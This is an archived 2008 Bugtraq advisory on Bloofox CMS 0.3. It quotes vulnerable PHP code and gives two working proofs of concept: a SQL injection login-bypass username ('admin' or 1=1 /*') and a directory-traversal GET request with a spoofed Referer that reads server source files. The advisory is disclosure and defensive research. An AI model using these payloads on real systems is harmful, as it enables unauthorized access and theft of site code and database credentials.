bugtraq - Bloofox CMS SQL Injection (Authentication bypass) , Source code disclosure

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20080120094347.qhn7z5s6qs0gs04c@mail.amnpardaz.com>
Date: Sun, 20 Jan 2008 09:43:47 +0330
From: admin@...report.ir
To: bugtraq@...urityfocus.com
Subject: Bloofox CMS SQL Injection (Authentication bypass) , Source code
	disclosure

########################## WwW.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title:Bloofox CMS Vulnerabilities
# Vendor: http://www.bloofox.com
# Bugs: SQL Injection (Authentication bypass) , Source code disclosure
# Vulnerable Version: 0.3 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
################################################################


####################
- Description:
####################

BloofoxCMS is a free open source content management system (CMS).


####################
- Vulnerability:
####################

+-->SQL Injection (authentication bypass)

Code Snippet:
index.php Line#107-116

if(isset($_POST['login']) || $_GET['login'] == "true") {
	if($perm->login($db,$_POST['username'],$_POST['password']) == 1) {
		$login_ok = 1;
		if($_GET['login'] == "true") {
			load_url("index.php");
		}
	} else {
		$login_failed = 1;
	}
}

system/class_permissions.php Line#63-68
	function login($db,$user,$pass)
	{
		global $tbl_prefix;
		$pass = md5($pass);
		$db->query("SELECT uid,username,password,groups FROM  
".$tbl_prefix."sys_user WHERE username = '".$user."' && password =  
'".$pass."' && blocked = '0' && deleted = '0' && status = '1' ORDER BY  
username");
		$total = $db->num_rows();
		.
		.
		.


There is no input validation here therefore its possible for a remote  
attacker to bypass login mechanism when magic quotes is disabled!

POC :
Username: admin' or 1=1 /*
Password: something

+--> Source code disclosure

Code Snippet:
file.php Line#25-49

$file = $_GET['file'];

// Block external linkings
$HTTP_REFERER = $_SERVER['HTTP_REFERER'];
if(strpos($HTTP_REFERER,$_SERVER['SERVER_NAME']) == 0) {
	die("Forget It!");
}

$basedir = getcwd()."/media/files";

// create file name
$filename = sprintf("%s/%s", $basedir, $file);

// check file on server
if(!file_exists($filename)) {
	die("File not found!");
}

header("Content-Type: application/octet-stream");

$save_as_name = basename($file);
header("Content-Disposition: attachment; filename=\"".$save_as_name."\"");

// output
readfile($filename);

Input passed to the "file" parameter is not properly sanitised before  
being used.
This can be exploited to display arbitrary files through directory  
traversal attacks or by passing full paths.

POC:
GET:  
http://servername/bloofoxCMS_0.3/file.php?file=../../system/class_mysql.php
Referer: http://servername/

####################
- Credit :
####################
Original advisory: http://bugreport.ir/?/27
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com